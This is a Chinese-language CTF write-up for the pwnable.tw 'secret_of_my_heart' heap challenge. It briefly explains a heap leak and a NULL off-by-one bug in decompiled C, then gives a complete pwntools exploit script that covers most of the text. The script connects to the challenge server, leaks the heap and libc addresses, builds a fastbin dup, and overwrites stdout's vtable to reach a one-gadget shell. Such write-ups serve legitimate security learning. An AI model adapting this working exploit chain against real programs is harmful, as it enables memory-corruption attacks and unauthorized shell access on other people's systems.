mmap的空间虽然是随机的,但是却用时间做种子,同步时间后就能准确算出mmap空间的地址了(虽然我完全没用到,难道偷鸡了?)

首先是在add函数中的子函数中,存在heap leak和null-off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __cdecl make_heart(heart *a1, __int64 len)
{
a1->len = len;
printf("Name of heart :");
read_n(a1->name, 0x20u); // leak heap
a1->secret = (char *)malloc(len);
if ( !a1->secret )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :");
a1->secret[(signed int)read_n(a1->secret, len)] = 0;// bug NULL-off-by-one
}

利用这两点就可以构造堆块,从而leak出libc地址了.

通过null-off-by-one,我们可以做到chunk overlap,从而实现fastbin dup

然后就能直接去改stdout的vtable到heap上的onegadget.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./secret_of_my_heart')
bin = ELF('./secret_of_my_heart')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10302)
bin = ELF('./secret_of_my_heart')
libc = ELF('./libc_64.so.6')

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(Len,name,con):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('Size of heart :')
cn.sendline(str(Len))
cn.recvuntil('Name of heart :')
cn.send(name)
cn.recvuntil('secret of my heart :')
cn.send(con)

def show(idx):
cn.recvuntil('Your choice :')
cn.sendline('2')
cn.recvuntil('Index :')
cn.sendline(str(idx))

def dele(idx):
cn.recvuntil('Your choice :')
cn.sendline('3')
cn.recvuntil('Index :')
cn.sendline(str(idx))


add(0x68,'A'*0x20,'a'*0x27)#0
show(0)
cn.recvuntil('A'*0x20)
heap = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x10
success('heap: '+hex(heap))

add(0xf8,'B'*0x20,'b'*0x20)#1
add(0x68,'C'*0x20,'c'*0x20)#2
dele(0)
# null-off-by-one
pay = p64(heap+0x20-0x18)+p64(heap+0x20-0x10)+p64(heap)+'a'*0x48 + p64(0x70)
add(0x68,'A'*0x20,pay)#0 bsize 0x101=> 0x100
dele(1)

show(0)
cn.recvuntil('Secret : ')
if local:
libc.address = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-88-0x3c4b20
else:
libc.address = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-88-0x3c3b20
success('libc: '+hex(libc.address))

add(0x68,'D'*0x20,'d'*0x27)#1/0
add(0xf8,'B'*0x20,'b'*0x20)#3
'''
1/0
3
2
4
'''
add(0x68,'E'*0x20,'e'*0x20)#4

#fastbin dup
dele(0)
dele(2)
dele(1)

_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
success('_IO_2_1_stdout_: '+hex(_IO_2_1_stdout_))
if local:
onegadget=libc.address + 0xf1147
else:
onegadget=libc.address + 0xf0567
success('onegadget: '+hex(onegadget))
pay = p64(_IO_2_1_stdout_+0x90+13)
add(0x68,'A'*0x20,pay)#0
add(0x68,'A'*0x20,p64(onegadget)*12)#1
add(0x68,'A'*0x20,'a'*0x20)#2

jumps_addr = heap + 0x180
pay = '\x00'*0x13 + '\xff\xff\xff\xff' + '\x00'*(9+8+3)
pay += p64(jumps_addr)
#z()
add(0x68,'A'*0x20,pay)#FILE attack

cn.interactive()